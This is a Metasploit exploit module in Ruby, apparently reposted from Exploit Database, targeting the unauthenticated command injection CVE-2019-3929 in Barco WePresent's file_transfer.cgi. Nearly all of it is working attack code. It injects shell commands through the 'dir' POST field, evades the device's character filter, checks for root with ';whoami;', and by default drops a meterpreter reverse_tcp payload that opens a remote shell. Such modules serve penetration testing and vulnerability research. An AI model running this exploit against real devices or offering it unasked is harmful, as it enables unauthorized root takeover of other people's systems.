Barco WePresent – file_transfer.cgi Command Injection (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2020-01-15
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47924/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => "Barco WePresent file_transfer.cgi Command Injection",
  'Description'=> %q(
  This module exploits an unauthenticated remote command injection
  vulnerability found in Barco WePresent and related OEM'ed products.
  The vulnerability is triggered via an HTTP POST request to the
  file_transfer.cgi endpoint.
  ),
  'License'=> MSF_LICENSE,
  'Author' => 'Jacob Baines', # @Junior_Baines'
  'References' =>
  [
  ['CVE', '2019-3929'],
  ['EDB', '46786'],
  ['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c']
  ],
  'DisclosureDate' => "Apr 30, 2019",
  'Platform' => ['unix', 'linux'],
  'Arch' => [ARCH_CMD, ARCH_ARMLE],
  'Privileged' => false,
  'Targets'=> [
  ['Unix In-Memory',
   'Platform'=> 'unix',
   'Arch'=> ARCH_CMD,
   'Type'=> :unix_memory,
   'Payload' => {
   'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' }
   }],
  ['Linux Dropper',
   'Platform'=> 'linux',
   'Arch'=> ARCH_ARMLE,
   'CmdStagerFlavor' => ['printf', 'wget'],
   'Type'=> :linux_dropper]
  ],
  'DefaultTarget'=> 1,
  'DefaultOptions' => {
  'SSL' => true,
  'RPORT' => 443,
  'CMDSTAGER::FLAVOR' => 'printf',
  'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
  }))
  end
  
  def filter_bad_chars(cmd)
  cmd.gsub!(/;/, 'Pa_Note')
  cmd.gsub!(/\+/, 'Pa_Add')
  cmd.gsub!(/&/, 'Pa_Amp')
  return cmd
  end
  
  def send_command(cmd, timeout)
  vars_post = {
  file_transfer: 'new',
  dir: "'#{filter_bad_chars(cmd)}'"
  }
  
  send_request_cgi({
  'uri' => '/cgi-bin/file_transfer.cgi',
  'method'=> 'POST',
  'vars_post' => vars_post
  }, timeout)
  end
  
  def check
  check_resp = send_command(";whoami;", 5)
  unless check_resp
  return CheckCode::Unknown('Connection failed.')
  end
  
  if check_resp.code == 200
  check_resp.body.gsub!(/[\r\n]/, "")
  if check_resp.body == "root"
  return CheckCode::Vulnerable
  end
  end
  
  CheckCode::Safe
  end
  
  def execute_command(cmd, _opts = {})
  send_command(";(#{cmd})&", nil)
  end
  
  def exploit
  case target['Type']
  when :unix_memory
  execute_command(payload.encoded)
  when :linux_dropper
  execute_cmdstager(linemax: 128)
  end
  end
  end